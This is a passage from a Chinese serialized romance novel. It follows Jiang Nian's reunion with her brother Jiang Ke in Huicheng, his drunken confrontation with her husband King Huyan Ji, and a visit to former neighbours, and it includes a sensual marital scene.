呼延吉宽慰道:“放心,他好得很,胳膊、腿都在,完完整整的一人,你看你紧张的。” 男人的话里带了一点点酸意。 江念这会儿一心只在江轲身上,追问道:“他人呢,在哪里,怎么不请来王庭?” “请了,他不来,在徽城呢,我叫安努尔他们替我把人留下好生款待。” 呼延吉不知江轲几个意思,他的态度叫他心底生出不安,毕竟江念只江轲一个至亲,他不得不跟着在意起来。 果不然,江念一听,也不顾宫人们在场,扯着呼延吉的衣袖,把他看着,那眼里全是话语,就那么仰头看着他,无需过多的言语。 呼延吉叹了口气,宽大的袖拢下握着她的手,说道:“依了。” 江念眼睛弯成新月,笑道:“依了?” 呼延吉点头笑了笑:“明日启程,如何?” 江念觉着今天是她最开心的时候,她就要见到阿弟了,一时间心里又是感动,又是欣喜。 感动于呼延吉对她所做的一切,欣喜于找到了江轲。 深更时分,夜里落起了凉雨,淅淅沥沥地打在殿后的芭蕉叶上、窗棂上,“噼啪”响,落在露台的泉水池里,又是另一种轻灵调。 窗扇没有掩严,支开一条缝,雨夜的风从窗隙溜了进来,把王榻上的纱帐吹起,隐隐可听见帐下男女的喁喁私语,间或响起三两声女人的泠泠轻笑。 再过一会儿,那笑声开始羞涩,伴着不匀的细喘,喘息中溢出娇吟,柔声颤颤。 这一夜,呼延吉不止行事了一次,把江念颠来倒去,床上床下地折腾,小案边、纱窗前,都留下两人欢爱的痕迹。 到最后江念四肢困软,微阖着眼,粉浓浓的娇身伏于榻上,香云缭乱,由着他来,难得没有推拒他的缠磨。 云雨过后,呼延吉从江念身上慢慢抽离,前胸后背挂着细细汗珠,蜜色的肌在昏黄的光烛下透着金光水渍。 他坐到她的身侧,曲起一条腿,同侧的胳膊耷拉在屈起的膝上,另一只手扒开女人湿漉漉的发丝,仍有几缕妖娆地衔于她的腮边,那光洁的纤背和脖颈上是他情极之时留下的朵朵红痕。 呼延吉拿起江念手边的小匣子,“嗒——”地打开,里面是空的,行事前她已吃了,他将匣子在手里翻转把玩两下,朝床外掼去,砸得一声响。 “什么声音?”江念睡眼惺忪地问道。 “无事,有丫头掉落了东西。”呼延吉说道。 江念“唔”了一声,继续睡去。 次日,江念早早醒了,身侧的床榻空冷冷的,只有一些睡过的褶皱,秋月等人进寝殿伺候梳洗更衣。 徽城离京都不算远,乘马车的话三两日可到。 秋月拿出一套轻便淡雅的常服,服侍江念穿上,仍是简单地替她绾了一个髻儿,簪上螺钿。 江念长得出挑,随便一收拾就是精神秀丽。 “主子,都准备妥当了。”秋月说道。 江念点头,想着走之前去一趟前廷,同呼延吉只会一声,出了西殿,正要叫宫人备辇,就见呼延吉从外走来。 “行当都理好了么?”呼延吉问道。 “都好了,正要走呢,我说到前面告知你一声。” “告知我什么?” “走之前不得同你说一下,哪好不声不气地就……”话未说完,眼一定,发现他亦是一身常服装扮。 “我陪你同去。”呼延吉说道。 “大王政务冗杂,不该把精力费在这样的小事上,我去见轲儿,把他带回王庭,也就是一去一来的时间,要不了多少时日就回。” 呼延吉笑道:“不光你急着见他,我也想见一见,想来想去,正巧当下松闲,便陪你一道去。” 他不敢叫她离他太远,还是随在一起安心。 两人正说着,木雅走了来,朝二人一拜,恭声道:“阿史家的贵女在庭外求见。” “苓姑?”江念问道。 木雅应是。 也是巧,巧事都撞到一起。 江念本以为就她带着丫头及护卫赴徽城,结果呼延吉说他也去,不止呼延吉,还有崔致远,崔致远的说法是,他思乡,想归家看望,而阿史苓听闻阿多图随往,也央着一道去徽城。 就这么的,一行人浩浩荡荡往徽城赶去。 …… 徽城…… 安努尔先是收到呼延吉的密札,叫他替他招待一位友人。 当他看见呼延吉口中所谓的友人时,心中了然三分,怕不是友人那么简单。 那年轻男子看起来同呼延吉年岁相当,黑发黑眸,样貌很是俊逸,神态间疏漏出几分世家子的桀骜,尤其那一双眼,同她太像了,心中有了隐隐猜测。 落后,他将人请入安府,好生款待,相交之间,得知年轻男子名江轲,是江念的亲弟。 这期间,石儿禄得知江念的亲弟住在安府,便不住地往他府中来,说是给他陪客,暗地里却撺掇江轲住到他石儿府上,蔫坏。 没过多久,安努尔又收到京都来信,在他看到信中内容后,知道有好戏看了。 呼延吉一行人进入徽城,当地府令带着安家人同石儿家的人已在城门外迎候。 原是徽城新任的府令收到王庭密札,说君王不日到徽城,此为微行,不必伸张。 那府令得知君王来徽城,慌得找到当地豪族安家、石儿家,商议一番,定在安家摆置接行筵宴。 众人正值探望之际,远远行来一队人马,以府令为首,带着安家,石儿家躬身迎接,因着不伸张,众人只作小礼。 呼延吉乘于马上,道了一声免礼,众人这才直起身,接着呼啦啦一群人去了安府,此时酒席早已备好。 江念心里记挂江轲,再加上三两日的行程,反把身体消瘦了,到了安府,远驾之下又失了胃口,那筵宴她没能参加,只在安府的上房休憩。 隐约听到前厅的觥筹交错之声,很是热闹,可这份热闹,她迫切地想让其早点结束。 “主子,要不婢子去前面唤一唤小阿郎?”秋月说道。 江念摇了摇头:“不急,筵宴未散,这会儿把人叫下来有些失礼。” 正说着话儿,房门被敲响…… 第191章 生米做成熟饭 秋月正问江念要不要去前厅探看,这个时候房门被敲响。 “谁?”秋月问道。 “念念姐,是我。” 是阿史苓的声音。 秋月前去开房门,阿史苓走了进来,从丫头珍珠手里接过一方提盒。 “知道你胃口不好,我让他们重新做了些清淡的小食儿,特意拿来。” 江念心中感动,适才安府着人摆了饭菜上来,她看着有些油腻,就让人撤了去。 呼延吉毕竟一男子,也不是面面都能细心想到,再者,他又在前厅众人环簇下镇坐着。 他现在一定见到江轲了,这两人儿时为玩伴,亦是兄弟,肯定也有好一番话要叙。 阿史苓揭开食盒,将里面的清汤小面还有一钵脆饼拿了出来。 “念念姐,你好歹吃一些,这才几日,眼见得瘦了,我都瞧着心疼,你那阿弟见了你这样,还不更心疼?” 江念微笑道:“这一路多亏有你逗趣解闷。” 阿史苓也跟着笑:“我还不曾出过远门,这算是头一次。” 秋月净过手,盛了一小碗清汤面放到江念面前,又分了半个脆饼搁到白瓷碟里。 江念拈起筷子,吃了小半碗,又把半个脆饼吃了,阿史苓就伴在她的身侧絮絮说着话。 前厅…… 上首正中坐着呼延吉,两侧一溜坐着徽城府令,又有安家人、石儿家人作陪。 堂中辉煌莹莹,声乐盈耳。 众人脸上笑盈盈,在席间不住地递话,使气氛欢腾,实际上背后冷汗涔涔湿了一片。 只因君王左手边桌案后的那位梁国男子,眉眼始终冷着,而他们的君王面色亦不好看。 江念还道呼延吉同江轲兄弟情深,见了面自有许多话说,全然不是。 一时间,众人坐立不安,心道,能让君王亲临,这小郎身份自是不一般,只是不知这位小郎为何这般作态。 呼延吉举杯,众人跟着双手举杯,一齐饮下杯中酒后,呼延吉叫散了酒席,只留下安努儿、石儿禄还有崔致远,其他人依次序退下。 江轲起身,就要往后宅去见江念,呼延吉却给崔致远睇了一个眼色。 崔致远立刻会意,笑着走上前,说道:“小郎君怎的就走了,咱们还有第二场,学生曾听闻梁人好酒,今日可要见识一番。” 这时,石儿禄也走到江轲身边,嚷着刚才没喝好,还需再喝一场方能尽兴。 安努尔已叫人撤去原来的席面,重新在厅中置一长形桌案,摆上酒馔。 呼延吉从上首走下,看向江轲,说道:“你慌怎的。” 江轲冷嗤一声,掉过身子,走到桌案边自顾自地坐下。 呼延吉也不见他的怪,撩衣坐到他的对面,呼延吉坐下,其他人跟着就座。 江轲拿起酒杯,仰头喝下,今夜他喝了不少,已有七八分醉意,一晚上不曾开口的他,这会儿说了第一句话。 “你娶了我阿姐?” 呼延吉没作丝毫停顿,说道:“是。” 江轲两眼一沉,搁在桌案上的拳头渐渐握紧,霍地起身,带翻桌上的酒具,一把揪起呼延吉的衣领,咬牙道:“你是畜生不是?谁叫你娶她?啊?!你怎敢碰她!” 江轲心里恨得要出血,呼延吉救了他阿姐,这个恩情他不否认,自当答谢,可他不该染指她。 安努尔等人忙上前劝解,呼延吉却挥手叫他们都退下。 待几人退下后,厅中只有呼延吉同江轲二人,呼延吉一把挥开江轲的手,冷声道:“我怎么不能碰她,怎么不能娶她。” 江轲两手往案上一拍,撑起身,说道:“老早我就跟你说过,她不是你可以肖想的,你这是在毁她,知不知道?” 呼延吉同样双手撑于桌上,同他对视:“我毁她?我怜她,爱她还来不及,怎么就毁她,她被人发配充妓之时,不是我救得她?你在哪儿呢?” 江轲两眼猩红,不知是酒意醺的,还是气血冲的:“你难道不该救她?她也就是嘴上不饶人,对你怎么样,你心里难道没数?她对你可不比对我这个亲弟差,甚至把你看得更重,没有她,有你现在么?你不该救?” 江轲接着又道:“你明明可以把她接到身边好好看顾,尊着她,敬着她,等我前来,你却让她做什么狗屁宫奴,呼延吉,我问你,你存得什么心,不就是想在她最孤落无助时,让她不得不求你乞怜,不得不承奉于你,你好乘虚而入,是也不是?!” 呼延吉不再言语。 江轲知道戳中了他的阴私,又是一声冷笑:“你对别人使手段也就罢了,居然对阿姐也使出这等卑劣手段,你于心何忍?” 江轲自小同呼延吉长大,呼延吉时常留宿江府,同江轲同室而眠,里外两间榻,一人睡在里间,一人睡在外间。 同龄的小子凑到一处,总有说不完的夜话,然,从八岁至十五岁的夜话是不同的,会从吃喝过渡到人的身上。 譬如谁家女子贤惠有才,谁家女子身姿可观,又或者谁家女子空有金贵之身内里却娇蛮无理,不论二人怎么戏论,都会避开一人,那就是江念。 江轲是因着江念是他阿姐,所以绝口不提,而呼延吉不提自然是把江念藏掩在心窝处。 至于呼延吉的心思,江轲不是不知,也有明里暗里地提醒过他,让他不要肖想。 呼延吉当着他的面否认了自己对江念的觊觎之心。 江家出事之时,江轲并不在大梁都中,他在外躲了很久才敢现身,之后又开始找寻江念的下落,却无从寻起,根本不知她被发往到了何处。 他只知发配的是边境军营,于是一路隐姓埋名寻着梁国边境线探听消息,终日只能躲在暗处。 后来到了邕南地界,那里已归属夷越,他不必遮掩,也是在那里,他得知了,夷越王呼延吉新立的妃子是梁人。 江轲得知这一消息,心里有七八分肯定,那位梁妃就是他的阿姐,不会是别人。 自此,他改了路线,进入夷越,算是真正进入呼延吉的视线。 而在江轲进到夷越后,听到越来越多关于这位梁妃的传言,虚虚实实拼凑在一起,他知晓了大概。 他也是男人,一眼就识得呼延吉打得什么主意。 呼延吉也不否认,不同于江轲的恼怒,反倒往后坐下,懒懒说道:“你不用在这里同我急赤白脸的,我使手段又如何,那也是我同她之间的事情,叫你在这里插嘴。” 江轲是不知道呼延吉还用一名叫真儿的女子故意醋江念,他若知道,估计这会儿骂得更难听。 “你同她之间的事?你别忘了,我是她阿弟,是江家男子,在我梁国,父若亡,兄弟可代行父权,她虽为我长姐,婚嫁之事却不得不听我的,我若不同意,你看阿姐对你是什么态度。” 江轲一句逼一句,倒还真把呼延吉将住了,除了江念还没人敢这样给他气受,却又不得不捺下火气,沉了一会儿,说道:“你别在我同她之间捣乱,我跟阿姐走到现在不容易。” 江轲颓然坐下,肘在桌案上,撑着头,烦得很,他是真不愿阿姐嫁呼延吉,他本有别的打算,偏呼延吉把生米做成了熟饭,好不叫人恼火,简直气煞人。 “你们都不是同种人,一个越人,一个梁人,怎么能有好结果。”江轲说着,恨骂呼延吉蔫坏,也不知从何时惦记的,你问他罢,他还矢口否认。 呼延吉喝下一杯酒,说道:“我自会给她最好的,不叫她受委屈。” 江轲从桌上撑起身子,慢慢站起,就要往后院走去,呼延吉一把拉住他:“干什么去?” 江轲吁出一口气,拽了拽自己被呼延吉扯住的衣袖,不耐烦道:“我见我姐去,你扯我做什么?”说着又拽了拽,发现根本拽不开,呼延吉把他衣袖攥得紧紧的。 “你现在去干什么,她今儿路上累了一日,你又一身酒气,没得去熏着她,明日罢,她人在府中,也不急这一时半会儿。”呼延吉说道。 江轲皱眉想了想,也有道理,遂点了点头,呼延吉刚松开手,却被江轲反手抓住,问道:“你今夜歇哪儿?” “自然同我妻子歇在一处。” 江轲眉角一跳,总觉着他这话里带着挑衅,说道:“你身上有酒,别熏着我姐,同我睡。”拉着呼延吉去了后院,呼延吉只好叫丑奴往江念那里报知。 江念得知呼延吉不回房,同江轲歇在一处,知道他兄弟二人夜间定有话要说,也不等他了,沐洗过后睡下。 睡到半夜,忽觉身侧有异动,迷蒙中睁开眼,就见一个黑影靠了过来,吓得就要惊呼出声。 “嘘——是我。” 第192章 又羞又怯 慌张下,江念先是闻得熟悉的音腔,有一点含糊不清,后知后觉闻得淡淡的酒息。 “怎么又过来了?我当你二人几年未见有许多话说。”江念说道。 间壁的秋月听见响动,秉烛出来,见是呼延吉,又忙折身回了间壁内。 呼延吉宽去衣物,躺到榻上,把江念拢到怀里,轻声道:“我跟他没什么说的,你不知道,一整晚他那脸难看得恨不得要给我来两刀子。” 江念脸往后仰,在他的脸上望了两眼,昏黑的光线下,只观其轮廓。 “他看起来怎么样?瘦了或是黑了?”只要她没见到人,心里就仍在惦记。 呼延吉“唔”了一声:“黑了也瘦了,看着有些憔悴。” 江念听后再难掩压心绪,立时湿了眼眶,不止为着找到江轲,还为着自己家族被灭,在焚烬的灰堆中试图找一点生的火星,江轲就是那一点星火,现在她找到了。 呼延吉给她拭泪,温言劝说:“他要过来的,身上沾了酒,我拦下了,明日你姐弟二人再叙阔别之情。 江念偎在他的怀里“唔”着答应。 呼延吉便探下头,去寻女人的香唇,揽在她腰肢上的手从衣摆探入,抚上她光洁柔腻的背。 江念被他呼出的潮热酒息醺得两眼星欠,想要避开,却又被他追讨,温软的唇舌辗转到她的下颌,轻吻慢啄,叫她不得不仰着脖儿:“好晚了,睡罢。” “困了?”呼延吉含糊道,说话间劲实的手臂从她的衣摆探入再从后衣领穿出,控着她的后脑,那一身小衣往上打着秋,露出一截子腻细的腰肢和衣缘下丰软的隆圆。 黑夜下,江念脸色潮红,又热又怯,心跳得厉害,又怕间壁的秋月和珠珠听到,抚上他的脸,轻轻摩挲着:“歇了罢。” 呼延吉咽了咽喉,一手去寻女人的裤带,压着腔子说道:“阿姐替我舒弄舒弄……” 正说着,房门被敲响,一个声音从门后响起:“你给我出来!篷着一身酒气,谁叫你扰我姐的。” 呼延吉低骂一声,江念浑身一震,从榻上坐起,脱口呼出:“轲儿?” 门外安静了一会儿,那声音再次响起,似是努力保持平定。 “阿姐,是我,你别起身,待我明日整肃衣冠后再同阿姐相见。”说罢,又因男儿家不惯久别重逢的氛围,对着呼延吉扯了一嗓子,“你还不出来?” 呼延吉恨恨道:“他绝对是故意的。” 江念噗嗤一笑,呼延吉只得披衣缓带出了屋室。 …… 次日,江念早早起身,院子里的丫鬟打了水来,秋月同珠珠给江念梳洗理妆,待一切妥当后,开始上早饭。 阿史苓从旁边的厢房走了来,同江念叙过礼。 早饭也上齐了,菜色很是精致丰富。 此时一个安府的丫鬟走来,朝江念同阿史苓行过礼,然后侧向江念,说道:“家主说,知道贵人不喜人打搅,就不让家中上下前来问安了,贵人若有什么想吃的、想玩的,任何欢喜的物、事,只管吩咐,他立刻着人去办。” 江念嘴角含笑道:“回你家主,就说一切安排得都好,劳他费心了。” 丫鬟应下,退了出去。 江念又叫了珠珠坐到身侧,平时只要呼延吉不在殿中,坐卧都叫她伴在身边。 用罢早饭,阿史苓陪着江念说话,却见她嘴里虽应着,可一双眼不住地往门外看,来的路上,她已知晓梁妃此次来徽城为见她的阿弟,两人历经一场动荡,是彼此世间最亲密之人。 好不容易寻到,怎么不让人欢喜动容。 正想着,秋月笑着走了进来,说道:“主子,小阿郎来了。” 江念腾地站起,声音都在发颤:“进,快叫他进来。”嘴上说着,人已往门外走去。 才走到门首下,迎面就见上了。 来人身量挺健,平肩窄腰,一身雪青色长衫,头束玉冠,目若朗星,皮肤是风晒过后的痕迹,却仍看得出极好的底子,行止间亦能观其旧时的疏狂态度。 江念抬着湿红的双目看去,嘴唇嗫嚅半晌,吐出不一个字来。 江轲就要撩衣跪下,江念一把拉住他,说道:“进屋说话。” 阿史苓见人姐弟相聚,便带着一众无干之人退了出去,只有秋月、珠珠两个近侍在旁候着。 姐弟二人相见,一时间不知从何说起。 江轲见他阿姐盘着夷越妇人的发式,面目丰润莹透,一看就是娇养着的,一直以来的担心终于放下。 这一路的找寻,叫他寝食难安,他的阿姐,那样金贵之人,被发配军营为妓,他的心在滴血,带着家族被灭的恨绝沿着边境线找寻,在未得到她的确切消息前,他的心每日都在刀尖上滚,在热油中煎熬。 “阿姐,阿吉有没有欺负你?”江轲问道。 江念并没马上回答他的话,而是反问他:“你一路怎么来的?” 江轲便把这一路如何寻她,又如何得知她的消息,呼延吉的人又如何找上他,他拒绝同去王庭,最后被安排在了徽城暂住等一系列事情,一一讲了。 “你怎的不来王庭?”江念又问。 江轲低头沉吟了一会儿,说道:“我担心阿姐是被迫的,若是去了王庭我也救你不出,在外面尚有一线生机。” 江念鼻管一酸,再去看他,真是不一样了,分别不到两年,好像就在昨日,又好像隔了一世之久,变了许多,之前哪有这般弯绕的心思。 从前不论在府里还是府外,她的阿弟也是众星捧月的恣意儿郎,何时操过心。 说话间,秋月上了茶点,珠珠从旁看茶,先给江念续了茶,又走到对面给江轲续上,再折回江念身侧侍立。 江轲说了半晌话儿,有些口渴,端起茶盏呷了两口,余光中发现对面有道视线一直在自己身上跳来跳去,不免好奇回看过去。 就见一个十多岁的小丫头正对着他笑,也没多想,一手端起茶盏继续饮茶,却听到一道清甜的声音响起。 “念念阿姐,这位好……好看的兄长是我夫君么?” “咳咳——”江轲一口茶呛到喉咙管,嗽得眼泪都出来了,江念赶紧起身到他身边,拍拍他的背。 “才想着你长进了,这会儿又冒失得不像样。” 江轲咳了好一会儿才息止,摆了摆手,指着对面的小丫头:“她刚才说谁?谁是她夫君?” 江念笑道:“你呀,我叫她以后长大了,给咱们江家当媳妇。”说着又转头看向珠珠,“好不好?” 珠珠先看了一眼江轲,然后笑着应下,这个阿兄长得可太好看了。 江轲先是一怔,再看向珠珠,黑黑的小脸儿,眼睛倒是亮,额前留着帘子,越发显得娃娃气,那分明还是个没长成的小丫头。 江轲看向江念,心道,阿姐尽办些不着边的事,也不知他二人谁没长进,心想着朝珠珠招了招手:“小丫头,到我这里来。” 珠珠欢喜地走了过去。 “你多大了?”江轲问道。 珠珠看向江念,江念从旁说道:“按正算有十一岁了罢。” 江轲笑了一声:“我刚才听你叫她念念阿姐?” 珠珠点头道:“念念阿姐说,当江家的媳妇就……就是家……家人……” 江轲这会儿才发现不对,脱口而出:“怎么是个小结巴?” “小结巴”三个字一出,珠珠下意识地往后一退,脸上的笑也淡了。 江念横他一眼,江轲倒不在意,觉得没什么,看着珠珠说道:“你叫我姐为阿姐,以后就叫我阿兄,一样是家人。” 珠珠重新笑起来,点了点头,跟着叫了一声:“阿兄。” 江轲看她乖巧,摸了摸她的头,收回手,看向江念:“阿姐还未回答我的话儿。” “什么?” “阿吉对你好不好?” 江念重新坐下,说道:“好,他很好。” 江轲在她面上看了两眼,说道:“其实有一事还没告诉你……” “何事?”江念问道。 江轲低下头,再次抬头,神情认真地问道:“如果我说想让阿姐随我离开,阿姐愿意么?” 江念怔了怔,掩于袖中的指微微一蜷,正想开口,一个人声从门口传来:“你姐弟二人说了半晌,还没叙完?” 呼延吉一进来,江念便起了身,走到他面前就要行礼,呼延吉抬手止住。 这一细小的动作被江轲瞧了去,心里就很不是滋味,阿姐居然在呼延吉面前做小伏低,虽然也知此一时彼一时,可心里就是揪着难受。 呼延吉走到江轲对面,搭上他的肩,说道:“走,安努尔几个叫你,咱们去外面耍耍。” 江轲对安努尔、石儿禄这两人印象还不错,他住于徽城期间,同他二人颇为投缘。 安努尔沉稳,石儿禄疏朗。 江轲斜睨着呼延吉,扒下他搭着自己肩膀的手,又转向江念,温声道:“阿姐,他们叫我出去。” 江念微笑道:“既是叫你去,你去就是了。”说着又看向呼延吉,“你看着些。” 安努尔同石儿禄两人从前惯在风月场上走的,江轲同呼延吉年岁相当,才二十出头,江念这个当姐姐的仍把他当孩子一般看。 呼延吉哪能看不出江念的担忧,点头应下,想同她再多说两句,偏江轲在旁边死死盯得,生怕他挨近身…… 第193章 流气话 江轲扒开呼延吉搭在他肩头的胳膊,呼延吉也不恼。 从前,他二人在一处顽时,什么脏话、流气话都骂过对方,不过大多时候,还是呼延吉迁让江轲居多。 虽说二人年岁相当,可那个时候呼延吉把江轲看矮一等,这个“矮”并非等级,而是同辈分沾边,就好似,江轲是江念的阿弟,那么无论江轲的年岁比自己大还是小,他都把他当妻弟看待。 虽说那个时候他同江念八字还未有一撇。 呼延吉早早适应了,可江轲不适应,真就是我当你是兄弟,你却惦记做我姐夫。 江轲一转身,就见呼延吉看着江念,于是插到他二人中间,说道:“你还走不走了?” 呼延吉只得对江念丢下一句:“放心,我看着他。” 二人出了房门,拌吵的声音传来:“我需要你看顾?” 接着又是呼延吉不耐烦地道了一句:“你当我稀罕,但我得听阿姐的话。” 两人的声音渐渐远去了。 前脚两人才走,后脚阿史苓就寻了过来,进门时,还不忘探头往院门看两眼。 “念念姐,刚才那个是你阿弟?” 江念点头道:“是他。” 她以为阿史苓就是随口一问,谁知她接着叹了一句:“是不是梁国男子都如你阿弟一般英朗?” 江念抬头看向她,就见她脸上带笑,眸光流转。 阿史苓无所觉,好奇地问道:“念念姐,你阿弟年岁几何?可有婚配?” 阿史苓的贴身丫头珍珠只想捂她主子的嘴,这是高门贵女能说的话么,不知道的还以为哪儿来的媒婆子。 江念撑不住笑起来:“我阿弟未曾婚配……”想了想改口道,“之前没有,这一两年里我就不甚清楚了,不过他为了寻我,一直浮踪浪迹,想来应是没有的。” 阿史苓脸一红,绞着指头:“我也不知怎的,生来有个坏毛病,见着好看的人儿,就想多看几眼,并没什么别的心思。” 说罢,对面安静下来,正在她难为情之际,却听江念说道:“这没什么,人之常情,别说你了,我从前也是这样,就喜欢好看的人和物。” “念念姐从前也这样么?”阿史苓惊怔道。 “可不是嘛,而且我脾气不好,性子娇蛮,谁也不放眼里,那时的我可惹人厌哩!” 阿史苓简直不敢相信,以为江念找台阶让自己下,犹疑道:“殿下定是哄我的。” “我可没心哄你。”江念站起身,叫秋月去备马车,“我得出门一趟,看望一位旧人,苓姑随我一道么?” 阿史苓立马站起,她出来就是为着玩的,当然要跟着一起。 两人坐上马车,阿史苓仍揪着刚才的话问:“后来怎么就好了?不看了?” 车马启行,车轮辘辘,女人的声音轻飘飘传出。 “我见着一个极好看的人,再无人能及他半分,其他人也就不入眼了……” 马车缓缓前行,江念带着阿史苓在徽城游转了大半个城池,先带她去了南市的花集,又在街边吃了一些小食,到桂花巷时已是午后。 情姑看着江念,如同天上掉下来的人儿,一时间反应不过来,急得叫他男人万年去街市买酒馔,非得把江念等人留下来款待。 “你店里招伙计了?”江念让秋月把手里的礼包递上。 情姑推让一番,推却不过只好收下,从屋里拿出茶点,给几人看了茶,笑道:“你从那边经过看见了?” “我先去了你铺子,伙计说你今日没去,我想着那就在家了,便找了过来。” 江念捧着茶杯,看了眼院墙另一边,问道:“那边的院子租出去了么?” 情姑坐下,先看了一眼阿史苓,朝她礼貌地笑了笑,然后转头看向江念,说道:“仍空着呢。” “桂花巷这爿的房子不难发租,怎的空了这许久?”江念问道。 “自是好租的,中间有牙人来问过,只是这房子虽说空着,却被人租下了,只是一直无人居住。”情姑说着,看了江念一眼。 “租了却不住?” 情姑往江念身侧近了近,说道:“就是安家大爷,自你走后,这房子他一直不曾退掉,交了不少房金于我,买下这院子也是够了,有一次晚间,我本是睡了的,突然记起白日同隔壁的妇人们闲话时,桌凳置在院外忘记收回,就披了衣衫,出了院门,走到巷弄的老树下收桌凳。” 江念点了点头,那老树是她院门前的歪脖子树。 说到这里,情姑又瞥了江念一眼,继续道:“我见院门敞开着,安家大爷就一人儿坐在那院子里。” 江念微垂下眼,喝了一口茶,情姑后悔不该在她面前提这些,忙调开话头,笑嗔道:“你个好人儿,骗得我好苦。” “何曾骗你了。”江念笑问道。 情姑抬眼看向江念身后侍立的秋月和珠珠,点了点指:“还说没骗我,什么阿弟,从小收养的可怜人儿,分明就是心上人儿,叫我丢好大的脸哩!” 江念脸上一红,笑而不答。 “我那侄女儿回去好一通哭闹,她爹娘问她,她什么也不说,只是闷在房里哭,她爹娘还以为我给了她多大的委屈,叫我苦于无处诉。” 江念笑道:“那也是你该受的,当时我怎么说来着,推阻再三,你不听,硬要叫人过来,我不应下,你就甩脸子给我看。” 情姑笑着摇了摇头:“我要知道有这内情……罢了,还说这些做什么。” 正聊着,情姑的男人拎着好酒、好菜回来了,让开身子,笑着对院内众人说:“看看,这是谁?” 众人看去,那人一身青水衫,黑瘦个头,不是崔致远又是哪个。 阿史苓在看到崔致远时先是一怔,怔过后脸上透出一丝不易察觉的心虚。 崔致远同样是一呆,虽说他知道阿史苓随同,却没想到在这里碰上,不过因她上次到他府上赔礼认错,为表诚心,还给他缝补旧衫,之前的误会他也就没放在心上。 闲暇之余不免多想,这位阿史家的贵女真就只为赔罪?以她的身份大可不必做到此种地步。 难不成她有别的心思? 阿史苓容貌自是上乘,家世更是显赫,可那脾性实在不好,又蛮又刁,而且就他观来,此女是个极喜奢华富丽之人,她的性格喜好,随便挑出一样,他都不喜,转念再一想,又觉着自己多想了。 不过从门槛外跨到门槛里,已是思绪百转,崔致远随万年进入院内,相互见过礼。 “你们这是约好了一起回么?”情姑笑道。 崔致远说道:“我在京都同阿念他们离得不算远,正巧他们要回来,我就跟着回了。” 情姑夫妇生活朴实平淡,再普通不过的老百姓,江念、崔致远不愿同他夫妻二人生分,仍以邻里身份相处,并不多说别的。 桂花巷几人再度重聚,如同家人一般自在说话。 万年在院中陪同几人,情姑在厨房张罗饭菜,秋月和珍珠也跟着进厨房打下手。 万年把从外买的下酒菜摆上桌子,再拿出碗筷杯碟逐一摆好,情姑忽然从厨房冲出来,“哎哟——”一声:“当家的,你快去接小柴头,怎的把这小子忘记了。” 万年也是一怔,想起儿子还在学堂,忙同江念等人打过招呼,出了院子,待万年把小柴头接回时,饭菜已摆上桌面,情姑再提上酒瓮。 众人围桌坐下,情姑知道像秋月、珍珠这些有规矩的大丫头,是绝不可能上桌同主人用饭,便另支了一桌,分了菜馔和酒酿叫她们自在吃。 江念和阿史苓点了头,她二人便应下,坐到小桌边随意吃喝。 饭桌上,众人酒到杯干,兴兴然想到哪里说到哪里,热闹不已。 情姑瞥了一眼坐在江念身侧的阿史苓,心道,这女子虽作常服装扮,可那举手投足间一看就不是普通人家养出的女儿,也不是多斯文,可就是有股子难掩的金贵气。 接着眼睛又溜到崔致远身上,一段时日不见,有了大变动,身上再看不到郁悒窘迫,反倒蕴含着让人信服的力量,仍是那个小个头,却不敢叫人小瞧了去。 情姑料想他去了京都寻到门路,立住了脚,心里替他高兴,向他举杯,玩笑道:“嫂子这杯酒请你,再不用挨揍了。” 崔致远忙回举起杯子,从前他在桂花巷少不了情姑夫妇的照顾,巷子里的其他人家把他视作怪人,笑他迂阔,不切实际,特别在他潦倒时,那些人越发把他看得轻贱。 到后来,连他自己都开始怀疑自己。 只有情姑夫妇从不曾取笑他,他们说不了什么大道理,却在他最低落无光的时候为他执烛。 崔致远仰头一口闷下杯中酒,又给自己倒了一杯,回请情姑和万年,喝到最后把眼睛都喝红了。 阿史苓有些错愕,这位崔大人以前还被人打呢!心里这么想着,嘴上就问了出来。 情姑先看了眼崔致远,见他没有丝毫见怪,便玩笑道:“这位阿姑,你不知道,别看他现在这模样,以前过的不叫日子,得罪了官户子弟,常叫人找麻烦,在牢里比在家里多,那个时候哟——身上钱资不够了,就去牢房待一段时日,总有吃的,饿不着他……” 第194章 夜话…… 阿史苓听着情姑的话语,张了张嘴,不可置信地看向崔致远,这位参知学士以前这样凄惨?惨到饱腹都成问题? 不怪阿史苓惊怪,在她的思想里,能走上仕途且在朝中立足之人,家世不会差到哪里去,不仅夷越,放眼周边之国皆是如此,无钱无人,不可能登入朝堂。 想要获得官员举荐或是投得门阀之下,里里外外少不得银钱打点,没有粗足的家底,走不到这一步。 再一想他如今已是朝中新贵,平时作风仍是节俭,连刮破的衣衫都不舍得丢,府里的下人也没几个。 阿史苓凝目看向崔致远,带着好奇,崔致远一抬眼就见阿史苓睛目不转地看着自己,直勾勾的,便有些不自在。 阿史苓形迹不拘,话语伶俐,不一会儿就同情姑等人谈笑到了一块。 席间,众人自然说笑,吃喝到好晚方散。 …… 话分两头说,再说华兴楼内…… 松赞同安努尔等人玩得好,又是华兴楼的少东家,呼延吉头先为寻江念来徽城时,他就见过,当时这位小阿郎还叫延吉。 呼延吉的身份虽未明示,却也叫他看出端倪,今次再来,极尽盛情招待。 华兴楼最上一层的通道,专有侍卫看着,店中客人只知上面来了了不得的人物,叫华兴楼的少东家专程陪同。 锦室内珠翠环绕,歌舞吹弹,花攒锦簇,桌案之上,说不尽肴列珍馐。 只见那香馥华丽的敞厅中央,陈列着檀木矮案。 众人围坐次序,呼延吉坐上首正中,江轲坐在他的左下手,安努尔、石儿禄还有松赞等人打横而坐。 先时众人都还守着规矩,喝到后来一个个便落拓不拘起来,或仰靠,或斜倚,或屈膝,形迹自在。 呼延吉凑到江轲身边,说道:“既是重逢了,你同我回京都罢。” 江轲睨着杯中的琼浆,怔了一会儿,并不开口。 呼延吉见他这样,料不准他在想什么,石儿禄端酒走了过来,仍是之前散漫不羁的样子,盘腿坐到江轲身边,许是喝多了的缘故,说出来的话没了分寸。 “轲儿,你看看我。” 江轲侧头看向石儿禄,不知他是何意。 石儿禄咧嘴笑道:“我做你姐夫如何?或是你做我小舅哥?” 安努尔也执杯走到江轲跟前,坐下,笑说道:“莫听他的,他喝多了。”说着瞥了一眼旁边的呼延吉,就见他有些没好脸的模样。 石儿禄心里恼呼延吉,之前一直隐忍未发,呼延吉初来徽城时,对外称江念的阿弟,他便把呼延吉当自家阿弟一样,真心相待。 结果人家翻过脸就要同他抢女人,还说什么江念是他阿姐,嫁不嫁人、嫁给谁由他说了算。 好不让人生恼。 